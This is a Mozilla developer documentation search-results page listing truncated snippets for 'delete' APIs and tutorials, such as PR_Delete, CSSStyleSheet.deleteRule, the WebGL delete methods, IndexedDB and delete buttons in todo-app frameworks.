syntax #include <prio.h> prstatus pr_delete(const char *name); parameters the function has the following parameter: name the pathname of the file to be deleted. returns one of the following values: if file is deleted successfully, pr_success. if the file is not deleted, pr_failure. description pr_delete deletes a file with the specified pathname name. if the function fails, the error code can then be retrieved via pr_geterror. ...
PR_DeleteSemaphore
removes a semaphore specified by name from the system. syntax #include <pripcsem.h> nspr_api(prstatus) pr_deletesemaphore(const char *name); parameter the function has the following parameter: name the name of a semaphore that was previously created via a call to pr_opensemaphore. returns prstatus ...
DeleteText
...
deleteCategory
...
deleteCategoryEntry
...
CSSStyleSheet.deleteRule() - Web APIs
the cssstylesheet method deleterule() removes a rule from the stylesheet object. syntax cssstylesheet.deleterule(index) parameters index the index into the stylesheet's cssrulelist indicating the rule to be removed. return value undefined example this example removes the first rule from the stylesheet mystyles. mystyles.deleterule(0); specifications specification status comment css object model (cssom)the definition of 'cssstylesheet.deleterule()' in that specification. working draft ...
EXT_disjoint_timer_query.deleteQueryEXT() - Web APIs
the ext_disjoint_timer_query.deletequeryext() method of the webgl api deletes a given webglquery object. syntax void ext.deletequeryext(query); parameters query a webglquery object to delete. return value none. examples var ext = gl.getextension('ext_disjoint_timer_query'); var query = ext.createqueryext(); // ... ext.deletequeryext(query); specifications specification status comment ext_disjoint_timer_querythe definition of 'ext_disjoint_timer_query' in that specification. working draft initial definition. ...
FormData.delete() - Web APIs
Web › API › FormData › delete
the delete() method of the formdata interface deletes a key and its value(s) from a formdata object. note: this method is available in web workers. syntax formdata.delete(name); parameters name the name of the key you want to delete. returns void. example the following line creates an empty formdata object and prepopulates it with key/value pairs from a form: var formdata = new formdata(myform); you can delete keys and their values using delete(): formdata.delete('username'); specifications specification status comment xmlhttprequestthe definition of 'delete()' in that specification. living standard ...
HTMLTableElement.deleteCaption() - Web APIs
the htmltableelement.deletecaption() method removes the <caption> element from a given <table>. if there is no <caption> element associated with the table, this method does nothing. syntax htmltableelement.deletecaption() example this example uses javascript to delete a table's caption. html <table> <caption>this caption will be deleted!</caption> <tr><td>cell 1.1</td><td>cell 1.2</td></tr> <tr><td>cell 2.1</td><td>cell 2.2</td></tr> </table> javascript let table = document.queryselector('table'); table.deletecaption(); result specifications specification status comment html living standardthe definition of 'htmltableelement: deletecaption' in that specification. living standard ...
HTMLTableElement.deleteTFoot() - Web APIs
the htmltableelement.deletetfoot() method removes the <tfoot> element from a given <table>. syntax htmltableelement.deletetfoot(); example this example uses javascript to delete a table's footer. html <table> <thead><th>name</th><th>score</th></thead> <tr><td>bob</td><td>541</td></tr> <tr><td>jim</td><td>225</td></tr> <tfoot><th>average</th><td>383</td></tfoot> </table> javascript let table = document.queryselector('table'); table.deletetfoot(); result specifications specification status comment html living standardthe definition of 'htmltableelement: deletetfoot' in that specification. living standard ...
HTMLTableElement.deleteTHead() - Web APIs
the htmltableelement.deletethead() removes the <thead> element from a given <table>. syntax htmltableelement.deletethead(); example this example uses javascript to delete a table's header. html <table> <thead><th>name</th><th>occupation</th></thead> <tr><td>bob</td><td>plumber</td></tr> <tr><td>jim</td><td>roofer</td></tr> </table> javascript let table = document.queryselector('table'); table.deletethead(); result specifications specification status comment html living standardthe definition of 'htmltableelement: deletethead' in that specification. living standard ...
OES_vertex_array_object.deleteVertexArrayOES() - Web APIs
the oes_vertex_array_object.deletevertexarrayoes() method of the webgl api deletes a given webglvertexarrayobject object. syntax void ext.deletevertexarrayoes(arrayobject); parameters arrayobject a webglvertexarrayobject (vao) object to delete. return value none. examples var ext = gl.getextension('oes_vertex_array_object'); var vao = ext.createvertexarrayoes(); ext.bindvertexarrayoes(vao); // ... ext.deletevertexarrayoes(vao); specifications specification status comment oes_vertex_array_objectthe definition of 'oes_vertex_array_object' in that specification. recommendation initial definition. ...
Range.deleteContents() - Web APIs
the range.deletecontents() method removes the contents of the range from the document. unlike range.extractcontents(), this method does not return a documentfragment containing the deleted content. syntax range.deletecontents() example range = document.createrange(); range.selectnode(document.getelementsbytagname("div").item(0)); range.deletecontents(); specifications specification status comment domthe definition of 'range.deletecontents()' in that specification. living standard no change. document object model (dom) level 2 traversal and range specificationthe definition of 'range.deletecontents()' in that specification. obsolete initial specification. ...
ServiceWorkerGlobalScope.oncontentdelete - Web APIs
the oncontentdelete property of the serviceworkerglobalscope interface is an event handler fired when an item is removed from the indexed content via the user agent. syntax serviceworkerglobalscope.oncontentdelete = function(event) { ... }; examples the following example uses a contentdelete event handler to remove cached content related to the deleted index item. self.addeventlistener('contentdelete', event => { event.waituntil( caches.open('cache-name').then(cache => { return promise.all([ cache.delete(`/icon/${event.id}`), cache.delete(`/content/${event.id}`) ]) }) ); }); specifications specification status comment unknownthe definition of 'contentdelete' in that specification. unknown initial definitio...
WebGL2RenderingContext.deleteQuery() - Web APIs
the webgl2renderingcontext.deletequery() method of the webgl 2 api deletes a given webglquery object. syntax void gl.deletequery(query); parameters query a webglquery object to delete. return value none. examples gl must be a webgl2renderingcontext. webglquery objects are not available in webgl 1. var query = gl.createquery(); // ... gl.deletequery(query); specifications specification status comment webgl 2.0the definition of 'deletequery' in that specification. editor's draft initial definition. opengl es 3.0the definition of 'gldeletequeries' in that specification. standard man page of the (similar) opengl api. ...
WebGL2RenderingContext.deleteSampler() - Web APIs
the webgl2renderingcontext.deletesampler() method of the webgl 2 api deletes a given webglsampler object. syntax void gl.deletesampler(sampler); parameters sampler a webglsampler object to delete. return value none. examples gl must be a webgl2renderingcontext. webglsampler objects are not available in webgl 1. var sampler = gl.createsampler(); // ... gl.deletesampler(sampler); specifications specification status comment webgl 2.0the definition of 'deletesampler' in that specification. editor's draft initial definition. opengl es 3.0the definition of 'gldeletesamplers' in that specification. standard man page of the (similar) opengl api. ...
WebGL2RenderingContext.deleteSync() - Web APIs
the webgl2renderingcontext.deletesync() method of the webgl 2 api deletes a given webglsync object. syntax void gl.deletesync(sync); parameters sync a webglsync object to delete. return value none. examples gl must be a webgl2renderingcontext. webglsync objects are not available in webgl 1. var sync = gl.fencesync(gl.sync_gpu_commands_complete, 0); // ... gl.deletesync(sync); specifications specification status comment webgl 2.0the definition of 'deletesync' in that specification. editor's draft initial definition for webgl. opengl es 3.0the definition of 'gldeletesync' in that specification. standard man page of the (similar) opengl api. ...
WebGL2RenderingContext.deleteVertexArray() - Web APIs
the webgl2renderingcontext.deletevertexarray() method of the webgl 2 api deletes a given webglvertexarrayobject object. syntax void gl.deletevertexarray(vertexarray); parameters vertexarray a webglvertexarrayobject (vao) object to delete. return value none. examples var vao = gl.createvertexarray(); gl.bindvertexarray(vao); // ... gl.deletevertexarray(vao); specifications specification status comment webgl 2.0the definition of 'deletevertexarray' in that specification. editor's draft initial definition. opengl es 3.0the definition of 'gldeletevertexarrays' in that specification. standard man page of the (similar) opengl api. ...
WebGLRenderingContext.deleteBuffer() - Web APIs
the webglrenderingcontext.deletebuffer() method of the webgl api deletes a given webglbuffer. this method has no effect if the buffer has already been deleted. syntax void gl.deletebuffer(buffer); parameters buffer a webglbuffer object to delete. return value none. examples deleting a buffer var canvas = document.getelementbyid('canvas'); var gl = canvas.getcontext('webgl'); var buffer = gl.createbuffer(); // ... gl.deletebuffer(buffer); specifications specification status comment webgl 1.0the definition of 'deletebuffer' in that specification. recommendation initial definition. opengl es 2.0the definition of 'gldeletebuffers' in that specification. standard man page of the (similar) opengl api. ...
WebGLRenderingContext.deleteFramebuffer() - Web APIs
the webglrenderingcontext.deleteframebuffer() method of the webgl api deletes a given webglframebuffer object. this method has no effect if the frame buffer has already been deleted. syntax void gl.deleteframebuffer(framebuffer); parameters framebuffer a webglframebuffer object to delete. return value none. examples deleting a frame buffer var canvas = document.getelementbyid('canvas'); var gl = canvas.getcontext('webgl'); var framebuffer = gl.createframebuffer(); // ... gl.deleteframebuffer(framebuffer); specifications specification status comment webgl 1.0the definition of 'deleteframebuffer' in that specification. recommendation initial definition. opengl es 2.0the definition of 'gldeleteframebuffers' in that specification. standard...
WebGLRenderingContext.deleteProgram() - Web APIs
the webglrenderingcontext.deleteprogram() method of the webgl api deletes a given webglprogram object. this method has no effect if the program has already been deleted. syntax void gl.deleteprogram(program); parameters program a webglprogram object to delete. return value none. examples deleting a program var canvas = document.getelementbyid('canvas'); var gl = canvas.getcontext('webgl'); var program = gl.createprogram(); // ... gl.deleteprogram(program); specifications specification status comment webgl 1.0the definition of 'deleteprogram' in that specification. recommendation initial definition. opengl es 2.0the definition of 'gldeleteprogram' in that specification. standard man page of the (similar) opengl api. ...
WebGLRenderingContext.deleteShader() - Web APIs
the webglrenderingcontext.deleteshader() method of the webgl api marks a given webglshader object for deletion. it will then be deleted whenever the shader is no longer in use. this method has no effect if the shader has already been deleted, and the webglshader is automatically marked for deletion when it is destroyed by the garbage collector. syntax void gl.deleteshader(shader); parameters shader a webglshader object to delete. return value none. examples deleting a shader gl.deleteshader(shader); specifications specification status comment webgl 1.0the definition of 'deleteshader' in that specification. recommendation initial definition. opengl es 2.0the definition of 'gldeleteshader' in that specification. standard man page of the...
WebGLRenderingContext.deleteTexture() - Web APIs
the webglrenderingcontext.deletetexture() method of the webgl api deletes a given webgltexture object. this method has no effect if the texture has already been deleted. syntax void gl.deletetexture(texture); parameters texture a webgltexture object to delete. return value none. examples deleting a texture var canvas = document.getelementbyid('canvas'); var gl = canvas.getcontext('webgl'); var texture = gl.createtexture(); // ... gl.deletetexture(texture); specifications specification status comment webgl 1.0the definition of 'deletetexture' in that specification. recommendation initial definition. opengl es 2.0the definition of 'gldeletetextures' in that specification. standard man page of the (similar) opengl api. ...
Index - Web APIs
Web › API › Index
tead use the more standard insertrule() method. 471 cssstylesheet.cssrules api, css, cssom, cssom api, cssstylesheet, layout, object model, property, read-only, reference, stylesheet the read-only cssstylesheet property cssrules returns a live cssrulelist which provides a real-time, up-to-date list of every css rule which comprises the stylesheet. 472 cssstylesheet.deleterule() api, css, cssom, cssom api, cssstylesheet, layout, method, object model, reference, rule, stylesheet, delete, deleterule, remove the cssstylesheet method deleterule() removes a rule from the stylesheet object. 473 cssstylesheet.insertrule() api, cssom, cssstylesheet, method, reference the cssstylesheet.insertrule() method inserts a new css rule into the curren...
... object model, property, read-only, reference, stylesheet, import, ownerrule the read-only cssstylesheet property ownerrule returns the cssimportrule corresponding to the @import at-rule which imported the stylesheet into the document. 475 cssstylesheet.removerule() api, css, cssom, cssom api, cssstylesheet, layout, method, object model, obsolete, reference, rule, stylesheet, delete, legacy, remove, removerule the obsolete cssstylesheet method removerule() removes a rule from the stylesheet object. 476 cssstylesheet.rules api, css, cssom, cssom api, cssstylesheet, layout, object model, obsolete, property, read-only, reference, style, stylesheet, legacy rules is a deprecated legacy property of the cssstylesheet interface. functionally identical to t...
...cache.addall() api, cache, experimental, method, needsexample, reference, service workers, service worker api, serviceworker, addall the addall() method of the cache interface takes an array of urls, retrieves them, and adds the resulting response objects to the given cache. the request objects created during retrieval become keys to the stored response operations. 505 cache.delete() api, cache, experimental, method, needscontent, needsexample, reference, service workers, serviceworker, delete the delete() method of the cache interface finds the cache entry whose key is the request, and if found, deletes the cache entry and returns a promise that resolves to true. if no cache entry is found, it resolves to false. 506 cache.keys() api, cache, experim...
...And 42 more matches
Index
be compiled into the nss libraries, and code that is only used for testing. 199 nss tools nss newsgroup: mozilla.dev.tech.crypto 200 nss tools certutil certificates, x509v3 the certificate database tool is a command-line utility that can create and modify the netscape communicator cert8.db and key3.db database files. it can also list, generate, modify, or delete certificates within the cert8.db file and create or change the password, generate new public and private key pairs, display the contents of the key database, or delete key pairs within the key3.db file. 201 nss tools certutil-tasks newsgroup: mozilla.dev.tech.crypto 202 nss tools cmsutil the cmsutil command-line utility uses the s/mime toolkit to perfor...
...) messages. 203 nss tools crlutil newsgroup: mozilla.dev.tech.crypto 204 nss tools dbck-tasks newsgroup: mozilla.dev.tech.crypto 205 nss tools modutil the security module database tool is a command-line utility for managing pkcs #11 module information within secmod.db files or within hardware tokens. you can use the tool to add and delete pkcs #11 modules, change passwords, set defaults, list module contents, enable or disable slots, enable or disable fips 140-2 compliance, and assign default providers for cryptographic operations. this tool can also create key3.db, cert8.db, and secmod.db security database files. 206 nss tools modutil-tasks newsgroup: mozilla.dev.tech.crypto 207 nss tools pk12util...
...t. authors: elio maldonado <emaldona@redhat.com>, deon lackey <dlackey@redhat.com>. copyright (c) 2010, red hat, inc. licensed under the gnu public license version 2. references visible links 1. http://pki.fedoraproject.org/wiki/ 2. ...
...And 14 more matches
nsINavHistoryObserver
global history. 1.0 66 introduced gecko 1.8 inherits from: nsisupports last changed in gecko 21.0 (firefox 21.0 / thunderbird 21.0 / seamonkey 2.18) warning: if you are in the middle of a batch transaction, there may be a database transaction active. you can still access the database in this situation but be careful (of what?). ...
....0 / seamonkey 2.18) warning: if you are in the middle of a batch transaction, there may be a database transaction active. you can still access the database in this situation but be careful (of what?). ...
... batch transaction, there may be a database transaction active. you can still access the database in this situation but be careful (of what?). ...
...And 14 more matches
Using IndexedDB - Web APIs
/ save the idbdatabase interface var db = event.target.result; // create an objectstore for this database var objectstore = db.createobjectstore("name", { keypath: "mykey" }); }; in this case, the database will already have the object stores from the previous version of the database, so you do not have to create these object stores again. ...
...path: "mykey" }); }; in this case, the database will already have the object stores from the previous version of the database, so you do not have to create these object stores again. you only need to create any new object stores, or delete object stores from the previous version that are no longer needed. if you need to change an existing object store (e.g., to change the keypath), then you must delete the old object store and create it again with the new options. ...
...he previous version of the database, so you do not have to create these object stores again. you only need to create any new object stores, or delete object stores from the previous version that are no longer needed. if you need to change an existing object store (e.g., to change the keypath), then you must delete the old object store and create it again with the new options. (note that this will delete the information in the object store! if you need to save that information, you should read it out and save it somewhere else before upgrading the database.) trying to create an object store with a name that already exists (or trying to delete an object store with a name that does not already exist) will throw an error. if the onupgradeneeded event exits successfully, the onsuccess handler of t...
...And 14 more matches
Client-side storage - Learn web development
hing else in an indexeddb instance. however, this does come at a cost: indexeddb is much more complex to use than the web storage api. in this section, we'll really only scratch the surface of what it is capable of, but we will give you enough to get started. working through a note storage example here we'll run you through an example that allows you to store notes in your browser and view and delete them whenever you like, getting you to build it up for yourself and explaining the most fundamental parts of idb as we go along. the app looks something like this: each note has a title and some body text, each individually editable. the javascript code we'll go through below has detailed comments to help you understand what's going on. getting started first of all, make local copies of o...
...endchild(h3); listitem.appendchild(para); list.appendchild(listitem); // put the data from the cursor inside the h3 and para h3.textcontent = cursor.value.title; para.textcontent = cursor.value.body; // store the id of the data item inside an attribute on the listitem, so we know // which item it corresponds to. ...
... h3.textcontent = cursor.value.title; para.textcontent = cursor.value.body; // store the id of the data item inside an attribute on the listitem, so we know // which item it corresponds to. ...
...And 13 more matches
Vue conditional rendering: editing existing todos - Learn web development
now it is time to add one of the major parts of functionality that we're still missing — the ability to edit existing todo items. to do this, we will take advantage of vue's conditional rendering capabilities — namely v-if and v-else — to allow us to toggle between the existing todo item view, and an edit view where you can update todo item labels. we'll also look at adding functionality to delete todo items. prerequisites: familiarity with the core html, css, and javascript languages, knowledge of the terminal/command line. vue components are written as a combination of javascript objects that manage the app's data and an html-based template syntax that maps to the underlying dom structure. for installation, and to use some of the more advanced features of vue (like...
...em-edited event. when the "cancel" button is clicked, the component signals this by emitting an edit-cancelled event. modifying our todoitem component before we can add todoitemeditform to our app, we need to make a few modifications to our todoitem component. specifically, we need to add a variable to track if the item is being edited, and a button to toggle that variable. we’ll also add a delete button since deletion is closely related. update your todoitem’s template as shown below. <template> <div class="stack-small"> <div class="custom-checkbox"> <input type="checkbox" class="checkbox" :id="id" :checked="isdone" @change="$emit('checkbox-changed')" /> <label :for="id" class="checkbox-label">{{label}}</label> </div> <div class="btn-group"> ...
...checkbox" :id="id" :checked="isdone" @change="$emit('checkbox-changed')" /> <label :for="id" class="checkbox-label">{{label}}</label> </div> <div class="btn-group"> <button type="button" class="btn" @click="toggletoitemeditform"> edit <span class="visually-hidden">{{label}}</span> </button> <button type="button" class="btn btn__danger" @click="deletetodo"> delete <span class="visually-hidden">{{label}}</span> </button> </div> </div> </template> we’ve added a wrapper <div> around the whole template for layout purposes. we've also added "edit" and "delete" buttons: the "edit" button, when clicked, will toggle displaying the todoitemeditform component so we can use it to edit our todo item, via an event handler functio...
...And 13 more matches
nsIMsgDatabase
in boolean bignored, in nsidbchangelistener instigator); boolean isread(in nsmsgkey key); boolean isignored(in nsmsgkey key); boolean ismarked(in nsmsgkey key); boolean hasattachments(in nsmsgkey key); void markallread(in nsmsgkeyarrayptr thosemarked); native code only! void markreadbydate(in prtime startdate, in prtime enddate, in nsmsgkeyarrayptr markedids); native code only! ...
...ored(in nsmsgkey key); boolean ismarked(in nsmsgkey key); boolean hasattachments(in nsmsgkey key); void markallread(in nsmsgkeyarrayptr thosemarked); native code only! void markreadbydate(in prtime startdate, in prtime enddate, in nsmsgkeyarrayptr markedids); native code only! void deletemessages(in nsmsgkeyarrayptr nsmsgkeys, in nsidbchangelistener instigator); native code only! ...
...key key); void markallread(in nsmsgkeyarrayptr thosemarked); native code only! void markreadbydate(in prtime startdate, in prtime enddate, in nsmsgkeyarrayptr markedids); native code only! void deletemessages(in nsmsgkeyarrayptr nsmsgkeys, in nsidbchangelistener instigator); native code only! ...
...And 13 more matches
nsIMsgFolder
l for the newer methods (esp. isspecialfolder and such). ...
...(esp. isspecialfolder and such). ...
...tfolderloading(); void endfolderloading(); void updatefolder(in nsimsgwindow awindow); nsimsgfilterlist getfilterlist(in nsimsgwindow msgwindow); void setfilterlist(in nsimsgfilterlist filterlist); void forcedbclosed(); void delete(); void deletesubfolders(in nsisupportsarray folders, in nsimsgwindow msgwindow); void propagatedelete(in nsimsgfolder folder, in boolean deletestorage,in nsimsgwindow msgwindow); void recursivedelete(in boolean deletestorage, in nsimsgwindow msgwindow); void createsubfolder(in astring foldername, in nsimsgwindow msgwindow); nsimsgfolder addsubfolder(in astring foldername); void createstorageifmissing(in nsiurllistener urllistener); void compact(in nsiu...
...And 12 more matches
Linear-gradient Generator - CSS: Cascading Style Sheets
</div> <div id="controls"> <div class="section"> <div class="title"> active point </div> <div class="property"> <div class="ui-input-slider" data-topic="point-position" data-info="position" data-unit="px" data-min="-1000" data-value="0" data-max="1000" data-sensivity="5"></div> <div id="delete-point" class="button"> delete point </div> </div> <div class="ui-color-picker" data-topic="picker"></div> </div> <div class="section"> <div class="title"> active axis </div> <div class="property"> <div class="name"> axis unit </div> <div class="ui-dropdown" data-topic="...
...s="title"> active axis </div> <div class="property"> <div class="name"> axis unit </div> <div class="ui-dropdown" data-topic="axis-unit" data-selected="1"> <div data-value='px'> pixels (px) </div> <div data-value='%'> percentage (%) </div> </div> <div id="delete-axis" class="button"> delete line </div> </div> <div class="property"> <div class="ui-slider" data-topic="axis-rotation" data-info="rotation" data-min="-180" data-value="0" data-max="180"></div> </div> </div> <div id="tool-section" class="section"> <div class="title...
...ine; float: left; } #controls .button[data-state='disabled'] { background-color: #ccc !important; color: #777 !important; } #controls .button[data-state='disabled']:hover { background-color: #ccc !important; cursor: default !important; } #controls .button:hover { cursor: pointer; background-color: #208b20; } /* active point */ .ui-input-slider { height: 24px; line-height: 20px; } #delete-point { margin: 0 58px 0 0; float: right !important; } #controls .ui-color-picker[data-topic="picker"] { margin: 20px 0 0 0; } #controls .ui-input-slider[data-topic="axis-rotation"] { } #controls .ui-dropdown { width: 130px; height: 24px; } #controls .ui-dropdown-select { line-height: 24px; } #controls .ui-dropdown-list { height: 66px; line-height: 2.5em; overflow: hidden; } #delet...
...And 11 more matches
Componentizing our Svelte app - Learn web development
go to this file now, and add the following import statement below your previous one: import todo from './todo.svelte' next, we need to update our {#each} block to include a <todo> component for each todo, rather than the code that has been moved...
...ents receiving data from their parents via props and parent components updating their state by handling events emitted from child components. so props flow down from parent to child and events bubble up from child to parent. this pattern establishes a two-way flow of information, which is predictable and easier to reason about. let's look at how to emit our own events to re-implement the missing delete button functionality. to create custom events we'll use the createeventdispatcher utility. this will return a dispatch() function that will allow us to emit custom events. when you dispatch an event you have to pass the name of the event and, optionally, an object with additional information that you want to pass to every listener. this additional data will be available on the detail property of...
...n event to your parent component by specifying on:event without any handler. we'll edit our todo component to emit a remove event, passing the todo being removed as additional information. first of all, add the following lines to the top of the todo component's <script> section: import { createeventdispatcher } from 'svelte' const dispatch = createeventdispatcher() now update the delete button in the markup section of the same file to look like so: <button type="button" class="btn btn__danger" on:click={() => dispatch('remove', todo)}> delete <span class="visually-hidden">{todo.name}</span> </button> with dispatch('remove', todo) we are emitting a remove event, and passing as additional data the todo being deleted. the handler will be called with an event object availabl...
...And 10 more matches
MMgc - Archive of obsolete content
naging" it, detecting when the memory is no longer reachable from anywhere in the application and reclaiming it at that time. in mmgc, you get managed memory by subclassing gcobject/gcfinalizedobject/rcobject, or by calling gc::alloc. unmanaged memory is everything else. this is c++ memory management as you're accustomed to it. ...
...chable from anywhere in the application and reclaiming it at that time. in mmgc, you get managed memory by subclassing gcobject/gcfinalizedobject/rcobject, or by calling gc::alloc. unmanaged memory is everything else. this is c++ memory management as you're accustomed to it. memory can be allocated with the new operator, and must be explicitly deleted in your c++ code at some later time using the delete operator. another way to think about it: unmanaged memory is c++ operators new and delete managed memory is c++ operator new, with optional delete mmgc contains a page allocator called gcheap, which allocates large blocks (megabytes) of memory from the system and doles out 4kb pages to the unmanaged memory allocator (fixedmalloc) and the managed memory allocator (gc). mmgc namespace the mmgc li...
...new (gc) myobject(); any pointers to a gcobject from unmanaged memory require the unmanaged object to be a gcroot. class myunmanagedobject : public mmgc::gcroot { myobject *object; }; any pointers to a gcobject from managed memory require a dwb write barrier macro. class myothermanagedobject : public mmgc::gcobject { dwb(myobject*) object; }; now for the good part... there is no need to delete instances of myobject, because the gc will clean them up automatically when they are unreachable. however, a gcobject can be deleted explicitly with the delete operator. only do this if you know for certain that there are no other references, and you want to help the gc along: // optimization: get rid of myobject now, because we know there are no other // references, so no need to wait for gc to...
...And 9 more matches
Code snippets - Archive of obsolete content
nt having data. for each (let client in tabsengine.getallclients()) { for each (let tab in client.tabs) { let url = tab.urlhistory[0]; // load the tab via the tabbed browser api. ...
... url = tab.urlhistory[0]; // load the tab via the tabbed browser api. ...
... // load the tab via the tabbed browser api. ...
...And 9 more matches
jspage - Archive of obsolete content
a=this.length;b<a;b++){c[b]=d.call(e,this[b],b,this);}return c;},some:function(c,d){for(var b=0,a=this.length;b<a;b++){if(c.call(d,this[b],b,this)){return true; }}return false;},associate:function(c){var d={},b=math.min(this.length,c.length);for(var a=0;a<b;a++){d[c[a]]=this[a];}return d;},link:function(c){var a={}; for(var e=0,b=this.length;e<b;e++){for(var d in c){if(c[d](this[e])){a[d]=this[e];delete c[d];break;}}}return a;},contains:function(a,b){return this.indexof(a,b)!=-1; },extend:function(c){for(var b=0,a=c.length;b<a;b++){this.push(c[b]);}return this;},getlast:function(){return(this.length)?this[this.length-1]:null;},getrandom:function(){return(this.length)?this[$random(0,this.length-1)]:null; },include:function(a){if(!this.contains(a)){this.push(a);}return this;},combine:function(c){f...
...property,keyof:function(b){for(var a in this){if(this.hasownproperty(a)&&this[a]===b){return a;}}return null; },hasvalue:function(a){return(hash.keyof(this,a)!==null);},extend:function(a){hash.each(a||{},function(c,b){hash.set(this,b,c);},this);return this;},combine:function(a){hash.each(a||{},function(c,b){hash.include(this,b,c); },this);return this;},erase:function(a){if(this.hasownproperty(a)){delete this[a];}return this;},get:function(a){return(this.hasownproperty(a))?this[a]:null; },set:function(a,b){if(!this[a]||this.hasownproperty(a)){this[a]=b;}return this;},empty:function(){hash.each(this,function(b,a){delete this[a];},this); return this;},include:function(a,b){if(this[a]==undefined){this[a]=b;}return this;},map:function(b,c){var a=new hash;hash.each(this,function(e,d){a.set(d,b.call(c,...
...!(function(){while(l&&l.nodetype==3){l=l.parentnode;}return true;}).create({attempt:browser.engine.gecko})()){l=false; }}}}return $extend(this,{event:a,type:j,page:i,client:c,rightclick:e,wheel:h,relatedtarget:l,target:g,code:b,key:m,shift:a.shiftkey,control:a.ctrlkey,alt:a.altkey,meta:a.metakey}); }});event.keys=new hash({enter:13,up:38,down:40,left:37,right:39,esc:27,space:32,backspace:8,tab:9,"delete":46});event.implement({stop:function(){return this.stoppropagation().preventdefault(); },stoppropagation:function(){if(this.event.stoppropagation){this.event.stoppropagation();}else{this.event.cancelbubble=true;}return this;},preventdefault:function(){if(this.event.preventdefault){this.event.preventdefault(); }else{this.event.returnvalue=false;}return this;}});function class(b){if(b instanceof fu...
...And 8 more matches
IPDL Tutorial
note that this is not a preprocessor directive, but a part of the ipdl language. the generated c++ code will have proper #include preprocessor directives for the imported protocols. the `manages` statement declares that this protocol manages ...
...st declare constructor and destructor messages for pplugininstance actors. the `manages` statement also means that pplugininstance actors are tied to the lifetime of the plugin actor that creates them: if this pplugin instance is destroyed, all the pplugininstances associated with it become invalid or are destroyed as well. the mandatory constructor and destructor messages (pplugininstance and __delete__ respectively) exist, confusingly, in separate locations. the constructor must be located in the managing protocol, while the destructor belongs to the managed subprotocol. these messages have syntax similar to c++ constructors, but the behavior is different. constructors and destructors have parameters, direction, semantics, and return values like other ipdl messages. a constructor and destru...
...ike other ipdl messages. a constructor and destructor message must be declared for each managed protocol. each subprotocol must include a `manager` statement. at the c++ layer, the subclasses in both the child and the parent must implement methods for allocating and deallocating the subprotocol actor. the constructor and destructor are translated into standard c++ methods for messages. note: __delete__ is a built-in construct, and is the only ipdl message which does not require an overridden implementation (ie. recv/answer__delete__). however, overridden implementations are encouraged when some action should happen on protocol destruction in lieu of using the deallocpprotocol function. class ppluginparent { /* allocate a pplugininstanceparent when the first form of callplugininstanceconst...
...And 8 more matches
Streams - Plugins
stream has an associated mime type identifying the format of the data in the stream. streams produced by the browser can be automatically sent to or requested by the plug-in instance. the browser calls the plug-in methods npp_newstream, npp_writeready, npp_write, and npp_destroystream to, respectively, create a stream, find out how much data the plug-in can handle, push data into the stream, and delete it. the plug-in instance selects a transmission mode for streams produced by the browser. stream data can be pushed by the browser, pulled by the plug-in, or saved to a local file and passed to the plug-in. normal mode: the browser uses the npp_write method to "push" stream data to the instance incrementally as it is available. random-access mode: the plug-in calls the npn_requestread method...
...ent by the plug-in to the browser are like normal-mode streams produced by the browser, but in reverse. in normal-mode streams, the browser calls the plug-in to tell it when a stream is created and to push more data. ...
...duced by the plug-in, the plug-in calls the plug-in api methods npp_newstream, npp_write, and npp_destroystream to create a stream, push data into it, and delete it. receiving a stream sending a stream receiving a stream when the browser sends a data stream to the plug-in, it has several tasks to perform: telling the plug-in when a stream is created telling the plug-in when a stream is deleted finding out how much data the plug-in can accept writing the stream to the plug-in sending the stream in random-access mode sending the stream in file mode telling the plug-in when a stream is created to tell the plug-in instance when a new stream is created, the browser calls the npp_newstream method. this method also determines which mode it should use to send data to the plug-in. the b...
...And 8 more matches
React interactivity: Events and state - Learn web development
previous overview: client-side javascript frameworks next with our component plan worked out, it's now time to start updating our app from a completely static ui to one that actually allows us to interact and change things. in this article we'll do this, digging into events and state along the way, and ending up with an app in which we can successfully add and delete tasks, and toggle tasks as completed. prerequisites: familiarity with the core html, css, and javascript languages, knowledge of the terminal/command line. objective: to learn about handling events and state in react, and use those to start making the case study app interactive. handling events if you've only written vanilla javascript before now, you might be used to having a sepa...
...bject before returning it. if it doesn’t match, we return the original object. then we call settasks() with this new array in order to update our state. deleting a task deleting a task will follow a similar pattern to toggling its completed state: we need to define a function for updating our state, then pass that function into <todo/> as a prop and call it when the right event happens. ...
...urn the original object. then we call settasks() with this new array in order to update our state. deleting a task deleting a task will follow a similar pattern to toggling its completed state: we need to define a function for updating our state, then pass that function into <todo/> as a prop and call it when the right event happens. the deletetask callback prop here we'll start by writing a deletetask() function in your app component. ...
...And 7 more matches
Box-shadow generator - CSS: Cascading Style Sheets
<div id="stack_container"></div> </div> <div id="preview_zone"> <div id="layer_menu" class="col span_12"> <div class="button" id="element" data-type="subject" data-title="element"> element </div> <div class="button" id="before" data-type="subject" data-title=":before"> :before <span class="delete" data-type="disable"></span> </div> <div class="button" id="after" data-type="subject" data-title=":after"> :after <span class="delete" data-type="disable"></span> </div> <div class="ui-checkbox" data-topic='before' data-label=":before"></div> <div class="ui-checkbox" data-topic...
...-moz-box-sizing: border-box; -webkit-box-sizing: border-box; box-sizing: border-box; } #layer_manager .node:hover { color: #fff; background-color: #3380c4; cursor: pointer; } /* active element styling */ #layer_manager [data-active='layer'] { color: #fff; border: none; background-color: #379b4a; } #layer_manager [data-active='subject'] { color: #fff; background-color: #467fc9; } /* delete button */ #layer_manager .delete { width: 1.5em; height: 100%; float: right; border-radius: 3px; background-image: url("https://mdn.mozillademos.org/files/5689/delete-white.png"); background-position: center center; background-repeat: no-repeat; position: absolute; top: 0; right: 10px; display: none; } #layer_manager .delete:hover { background-image: url("https://mdn.mozillademos.or...
...layer_manager .delete { width: 1.5em; height: 100%; float: right; border-radius: 3px; background-image: url("https://mdn.mozillademos.org/files/5689/delete-white.png"); background-position: center center; background-repeat: no-repeat; position: absolute; top: 0; right: 10px; display: none; } #layer_manager .delete:hover { background-image: url("https://mdn.mozillademos.org/files/5691/delete-yellow.png"); } #layer_manager .node:hover .delete { display: block; } #layer_manager .stack { padding: 0 5px; max-height: 90%; overflow: auto; overflow-x: hidden; } /* * layer menu */ #layer_menu { margin: 0 0 10px 0; -moz-box-sizing: border-box; -webkit-box-sizing: border-box; box-sizing: border-box; } #layer_menu .button { width: 100px; margin: 0 5px 0 0; padding: 2.5px; ...
...And 7 more matches
Color picker tool - CSS: Cascading Style Sheets
